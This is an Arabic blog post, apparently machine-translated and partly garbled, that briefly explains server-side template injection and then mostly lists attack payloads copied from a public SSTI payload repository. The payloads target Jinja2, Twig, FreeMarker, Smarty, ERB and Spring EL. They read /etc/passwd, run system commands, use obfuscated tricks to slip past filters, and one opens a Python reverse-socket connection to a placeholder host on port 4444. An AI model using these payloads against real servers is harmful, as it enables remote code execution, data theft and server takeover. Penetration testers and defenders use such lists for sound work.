recent
أخبار ساخنة

حقـن القالب من جانب الخادم يتم إدخال نقاط الضعف2020

حقن القالب من جانب الخادم 2020

ممر التخطيط من جانب الخادم هو النقطة التي يمكن للمعتدي عندها استخدام هيكل التنسيق الأول لدمج الحمولة الخبيثة في التخطيط ، ثم تنفيذها بعد ذلك على جانب الخادم.

تهدف محركات التخطيط إلى إنشاء صفحات موقع الويب من خلال دمج التنسيقات الثابتة بمعلومات لا يمكن التنبؤ بها. يمكن أن تحدث اعتداءات تسريب التخطيط من جانب الخادم عندما تكون مدخلات العميل مرتبطة بشكل شرعي بالتنسيق ، على عكس ما تم استخدامه كمعلومات. هذا يسمح للمهاجمين بإدخال تفويضات تخطيط تعسفي للتحكم في محرك التنسيق ، ومنحهم بانتظام السلطة الكاملة على الخادم. كما يوحي الاسم ، يتم نقل حمولات تخطيط ضخ الخادم وتقييمها على جانب الخادم ، مما يجعلها أكثر خطورة من التسريب بتنسيق العميل.

التأثير: قد يتم إدخال نقاط الضعف

ضخ الخادم عن طريق مواقع الموقع لمجموعة متنوعة من الاعتداءات التي تعتمد على تنسيق التنسيق المشار إليه وكيفية استخدام التطبيق له بدقة. في بعض الظروف غير المألوفة ، لا تمثل نقاط الضعف هذه مخاطر أمنية حقيقية. كن على هذا النحو ، في كثير من الأحيان ، يمكن أن يكون تأثير التسريب من جانب الخادم مؤسفًا. في النهاية الفظيعة للمقياس ، يمكن للمهاجم أن ينفذ تنفيذ التعليمات البرمجية عن بُعد ، مع التحكم الكامل في الخادم الخلفي واستخدامه للقيام بهجمات مختلفة على الأساس الداخلي. في الواقع ، حتى في الحالات التي يتم فيها تنفيذ التعليمات البرمجية عن بُعد الكاملة

غير واقعي ، يمكن للمعتدي في أي حال استخدام التسريب من جانب الخادم كسبب لبعض الاعتداءات المختلفة ، وربما يحصل على حق الوصول للقراءة إلى المعلومات الحساسة والمستندات غير النظامية على الخادم.
الحمولات:
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}} 
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]   ("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\   x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x   ()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).co   ncat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

المراجع :


استنساخ مستودع موجود (استنساخ باستخدام HTTPS)

root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git

استنساخ مستودع موجود (استنساخ باستخدام SSH)

root@ismailtasdelen:~# git clone git@github.com:payloadbox/ssti-payloads.git
google-playkhamsatmostaqltradent